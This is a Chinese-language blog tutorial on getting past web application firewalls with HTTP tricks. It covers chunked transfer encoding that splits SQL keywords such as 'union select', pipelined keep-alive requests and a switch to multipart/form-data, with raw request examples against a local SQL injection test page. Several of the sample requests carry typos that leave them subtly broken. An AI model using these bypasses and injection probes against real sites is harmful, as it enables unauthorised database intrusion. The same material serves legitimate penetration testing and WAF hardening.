• 利用http协议绕过waf


    利用http协议绕过waf

    分块传输绕过waf

    • 先在数据包中添加Transfer-Encoding: chunked
    • 数字代表下一列字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车

    在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

    注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。

    eg:

    ………………
    Connection: close
    Upgrade-Insecure-Requests: I
    ontent-Type: application/x-www-form-urlencoded
    Content-Length: 50
    
    4
    a=1 
    4
    unio
    4
    n se
    5
    lect
    1
    1
    0
    
    
    

    畸形包绕过

    原理:

    http协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。

    • 先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求
    • get请求中空格使用%20代替,Connection改为keep-alive

    点击burp中Repeater,在下拉选项中取消update Content-Length选中。

    eg:

    POST /sqlinject.php Http/1.0
    Host:127001
    User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
    Firefox/65.0
    Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
    Accept-Language: en-US,en:q=0.5
    Referer:http://127.0.0.1/sqlinjectphp?id=1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 4
    Connection:keep-alive
    Upgrade-Insecure-Requests: 1
    
    id=1post/sqlinjeCt.php Http/1.0
    Host:127.00.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
    Firefox/65.0
    Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
    Accept-Language: en-US, en, q=0.5
    Referer:http://127.0.0.1/sqlinjectphp?id=1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 12
    Connection: close
    pgrade-Insecure-Requests: 1
    
    d=l and 1=1
    

    然后你会收到两个返回包,不过这种方法有可能被waf给拦截

    协议覆盖

    原理:

    HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。

    将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。

    POST /sQlinJect php Http/1.0
    User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0
    Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8
    Accept-Language: en-US, en: q=0.5
    Referer:http://127.0.0.1/sqlinject.php?id
    Content-Type: multipart/form-data; boundary=69
    Content-Length: 60
    Connection close
    Upgrade-Insecure-Requests:1
    
    --69
    Content-Disposition: form-data; name="id"
    
    1
    --69--
    
  • 相关阅读:
    2019-03-18 使用Request POST获取CNABS网站上JSON格式的表格数据,并解析出来用pymssql写到SQL Server中
    2019-03-18 Python time 将2015年11月20日转换为2015-11-20
    2019-03-15 使用Request POST获取中加基金的PDF文件,并下载到本地
    2019-03-15 使用Request POST获取CNABS网站上JSON格式的表格数据,并解析出来用xlwt写到Excel中
    2019-03-15 Python time datetime 获取当下时间 和 格式化时间
    2019-03-14 Python爬虫问题 爬取网页的汉字打印出来乱码
    2019-02-25 SQL:cast(itemvalue as decimal(19,4))
    js设计模式
    css动画库
    React学习笔记
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/13889972.html
Copyright © 2020-2023  润新知